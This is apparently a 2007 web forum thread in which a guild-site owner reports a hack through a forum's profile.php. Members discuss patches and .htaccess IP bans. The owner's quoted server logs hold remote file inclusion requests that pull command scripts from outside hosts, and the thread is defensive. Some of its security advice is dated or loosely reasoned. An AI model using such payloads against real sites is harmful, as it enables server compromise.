Security Flaw

[Omni-Lee]

A security flaw has been found with Profile.php, my website was hacked with the below command.

201.29.250.108 - - [30/Apr/2007:21:43:11 -0400] "GET
[url=http://]http://[/url]<websiteURL>/forum/profile.php?mode=http://www.narkote.net/tool25.txt?&cmd=id
HTTP/1.1" 200
1372 <websiteURL> "-" "-" "-"

My websites URL was removed to protect my site. My hopes is that someone can find the security flaw within the offending file and create a patch ASAP. The profile system and all it entails is currently OFFLINE on my website.

[Helter]

try this

open profile.php

find

Code: Select all

define('IN_PHPBB', true);

after, add

Code: Select all

$phpbb_root_path = './';

save and close. not sure if that is how they got in, but it will help

[ZacFields]

He must still be on 140 because 141 already has that piece of code inserted.

Zac

[Helter]

your correct. the code was there, it was just moved and i didnt see it...lol

[ZacFields]

i don't think 140 had that though, and I think that's the string of code that stops those RFI attacks.

As long as they're not gaining access it's just pretty much the equivilant of a DDOS attack. Find the Ip's and block them from .htaccess

Zac

[Omni-Lee]

I'm using 1.4.1, but I'll check the file and make the required changes.

Yes, the suggested changes are already within the file.

Is there anything else to try?

[Omni-Lee]

Is there any further information I can supply to help have this issue resolved?

Until this issue is fixed I cannot enable the Profile system within my site. As such, any and all systems that are associated with Profiles are also disabled.

I eagerly await a fix.

[nGAGE]

Check your CT Log... shouldn't CT block this stuff? Had a couple myself, but no harm done on site. CT Log showed them as blocked!

[ZacFields]

As long as that code is in place that helterskelter mentioned, this attack is as worthless as a DDOS attack. I suggest just to keep blocking the IP's from .htaccess and just make sure they're not getting root access (which they shouldn't be able to) and the problem will dissappear when the person initiating the exploits finally realizes that the hole is patched.

I had this same problem a month or so ago and just turned out to be nothing. It was a pain in my neck, but the long and short of it is that anyone who is not banned via .htaccess can run requests on your server to any file on your server. All that's happening in this situation is that they're running requests on your server. But beware as blocking them from phpbb or crackertracker will not solve this problem. These IP's need to be blocked from .htaccess to prevent them from running requests on your forum's files. Blocking them from crackertracker and/or phpbb just keeps them from enjoying forum functions.

Zac

[nGAGE]

Perhaps a good example on what should be added to the .htaccess file(s) <=(assuming that it's needed in more then just the root?)
I'm sure a lot of people would appreciate it! <img>

Never really needed to block IPs that way myself. Only providing the necessary access to run the forum, nothing more.

[Omni-Lee]

The problem is, the attack I posted wasn't caught by CT, it was caught by my host after I had informed them that I was under attack. How can I block the IP of an attack when I don't know it? What does the attack allow the hackers to do?

Cripes I'm a kinship (guild) website for LoTRO, what's the point of hacking me?

[ZacFields]

In the example that you posted Omni-Lee, the IP that was attacking you was 201.29.250.108 it's just the IP address at the beginning of that piece of log that you posted.

here is an example of what to put in .htaccess:

Code: Select all

 order allow,denydeny from 127.0.0.1deny from 127.0.0.2deny from 127.0.0.3allow from all    

You would replace the 127.0.0.1, 127.0.0.2 etc with the IP's you want to ban. the .htaccess in your root directory should be able to take care of this for you. This will prevent them from making any requests on your server.

Zac

[nGAGE]

Ah... K... just like the access definitions in the apache/conf/httpd.conf


Thnx Zac

[ZacFields]

^ LoL yes please don't be banning the IP's from the example. Thats a bad thing to do!

Keep us informed on this, though. But I'm pretty sure they're just trying out a very outdated exploit that might have worked on 1.4.0 but not on 1.4.1. There's just no real good way to stop them from doing it other than just continuing to ban their IP's from .htaccess.

Usually what happens is that they take control of hundreds of different servers and they use those servers to do all their dirty work for them. They just load up a .script on those servers that starts attacking other servers. What they do is very simple to do.... there are very few people that actually know how to hack, and WAY TOO MANY people who just leech off of other people's pre-written .scripts.

Also while you're banning those IP addresses, it would be a good idea to send the list of IP's to your host. Often times your host will want them so they can also ban them from their side, too. That way it keeps those IP's from accessing any sites on that host.

Zac

[ZacFields]

Cripes I'm a kinship (guild) website for LoTRO, what's the point of hacking me?

I asked this same question when they were successfully gaining access to my root account through an old copy of 140 I had lying around on my server. My good friend that helped me rid my site of these hackers (I seriously had 3 different hackers who had access to my root at the time) notified me that the likelihood that they cared anything about my site was slim, but by gaining root access into my account they can get into other websites on my host a lot easier. And they can also use my server to help attack other servers.

It's just a big game to them. But if your site has no financial records such as customer credit card numbers and stuff, these hackers probably don't care anything about your site and probably won't do anything to it. Like I said, I had 3 of them in my box all at once and not one of them ever touched my forums. They were just running .scripts off my site attacking other servers.

Zac

[Omni-Lee]

These IP's need to be blocked from .htaccess to prevent them from running requests on your forum's files.

Can you be more specific as to what type of requests? I assume you don't mean sql as that wouldn't be considered minor.

[Frost]

He means, any requests

If you ban the ips in htaccess in your root directory, they cant access anything beyond that point (your whole site is gone to them)

Note: if you put this in htaccess say 3 folders into your server it only affects from then foward

htaccess in root folder example

Access > [htaccess in root] > All Following Folders Denied

htaccess in later folder example

Access > Root > 2nd Folder > 3rd Folder > forum > [htaccess in forum] All Following Folders Denied

That way, an attacker would still have access to your root, 2nd, 3rd, and forum folders

That's how it works as far as I know

[ZacFields]

Thanks Frost...I was kinda stumped a little when trying to think of how to explain a request.

Basically when you open a page in a forum, it performs a GET request for all the pieces of that page. Like the images, includes.php, all the aspect of that page. When you make a post...pretty much anytime you press the "submit" button it sends a POST request.

But for an example as to why you would want to ban things like this from .htaccess in your root: You all know what happens when you ban someone from your forum, right? Basically it opens up everything (all the requests still get performed) but IM software is written to recognize "hey, this guy is banned" and it sends them a nice little banned message saying that this site is banned.

But blocking from .htaccess, they can't even bother your server with requests because before they even get to your forums, or any file inside your forums your server itself recognizes that the IP is not supposed to be there so it actually prevents them from even seeing your site, or even performing any requests on the files in the same folder, or after your .htaccess file.

Hope that helps.

Zac

[Omni-Lee]

Thank you both for the de.scription.

CT is showing the attacks as slowing down, but they are still coming.

Todays:
17 May 2007 06:27 pm //includes/kb_constants.php?module_root_path=http://www.firp.it/smf/Themes/default/images/english/cmd.txt? libwww-perl/5.805 209.172.57.139

Another IP for the .htaccess file.

While scanning the server logs I found the following:
193.232.119.173 - - [17/May/2007:05:21:21 -0400] "GET //<siteURL>//<siteURL>/forum/profile.php?mode=profil&sub=profile_prefer&mod=0&sid=18b008b2c91954b94f342465c7274844 HTTP/1.1" 404 2351 <siteURL> "http://<siteURL>//<siteURL>//<SiteURL>/forum/profile.php?mode=profil&sub=profile_prefer&mod=0&sid=18b008b2c91954b94f342465c7274844" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "-"

What do you make of it? It feels fishy, but I'd like confirmation.

[nGAGE]

While scanning the server logs I found the following:
193.232.119.173 - - [17/May/2007:05:21:21 -0400] "GET //www.mithrilcrowns.net//www.mithrilcrowns.net/forum/profile.php?mode=profil&sub=profile_prefer&mod=0&sid=18b008b2c91954b94f342465c7274844 HTTP/1.1" 404 2351 http://www.mithrilcrowns.net "http://www.mithrilcrowns.net//www.mithrilcrowns.net//www.mithrilcrowns.net/forum/profile.php?mode=profil&sub=profile_prefer&mod=0&sid=18b008b2c91954b94f342465c7274844" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "-"

What do you make of it? It feels fishy, but I'd like confirmation.

Looks like somebody's profile is being used to GET something through there or something... dunno and i'm not gonna go to that link either